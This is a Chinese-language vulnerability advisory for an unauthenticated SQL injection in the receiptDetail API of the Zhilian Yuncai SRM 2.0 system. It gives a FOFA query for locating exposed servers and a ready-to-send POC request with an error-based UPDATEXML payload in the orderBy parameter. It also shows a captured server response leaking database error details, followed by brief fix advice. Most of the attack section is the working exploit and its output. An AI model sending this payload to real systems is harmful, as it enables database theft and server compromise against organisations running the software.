

智联云采 SRM2.0 receiptDetail处 SQL注入漏洞

漏洞描述

智联云采 SRM2.0receiptDetail接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 此漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

智联云采

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：title=="SRM 2.0"

POC/EXP：

```
POST /adpweb/api/srm/delivery/receiptDetail?
orderBy=%28UPDATEXML%288058%2CCONCAT%280x2e%2C0x71707a7671%2C%28SELECT+%28E
LT%288058%3D8058%2C1%29%29%29%2C0x71766a7671%29%2C3521%29%29 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/125.0.6422.60 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
```

发送请求

强制 HTTPS

历史

数据包扫描

热加载

构造请求

Request

1

POST /adpweb/api/srm/delivery/receiptDetail?orderBy=%28UPDATEXML%288058%2C%28CONCAT%280x2e%2C0x71707a7671%2C%28SELECT%28ELT%288058%3D8058%2C1%29%29%29%2C0x71766a7671%29%2C3521%29%29%28HTTP/1.1

2

Host:

3

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36

4

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

5

Accept-Encoding: gzip, deflate, br

6

Accept-Language: zh-CN, zh;q=0.9

7

Connection: keep-alive

Responses

3442bytes / 95ms

美化

详情

1

HTTP/1.1 200 OK

2

Server: Apache-Coyote/1.1

3

Pragma: no-cache

4

Cache-Control: no-cache, no-store, max-age=0

5

Expires: Thu, 01 Jan 1970 00:00:00 GMT

6

Content-Type: application/json; charset=utf-8

7

Content-Language: zh-CN

8

Date: Thu, 21 Nov 2024 08:27:13 GMT

9

Content-Length: 3442

10

11

{ "head": { "errorCode": "0000", "status": 0, "errorMsg": "\r\n### Error querying database. Cause: java.sql.SQLException: XPATH syntax error: 'qpzvqlqvjqv'\r\n### The error may exist in URL [jar:file:/D:/digiwin/srmtest/AMP_win/webapps/adpweb/WEB-INF/lib/srm-srm-0.1.28-SNAPSHOT.jar!/mappings/modules/srm/DeliveryBodyDao.xml]\r\n### The error may involve defaultParameterMap\r\n### The error occurred while setting parameters\r\n### SQL: SELECT DISTINCT srm_delivery_body.ent AS \"ent\", srm_delivery_body.site AS \"site\", srm_delivery_body.delivery_no AS \"deliveryNo\", srm_delivery_head.create_by AS \"createHeadById\", srm_delivery_head.create_date AS \"createHeadDate\", srm_delivery_head.update_by AS \"updateHeadById\", srm_delivery_head.

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本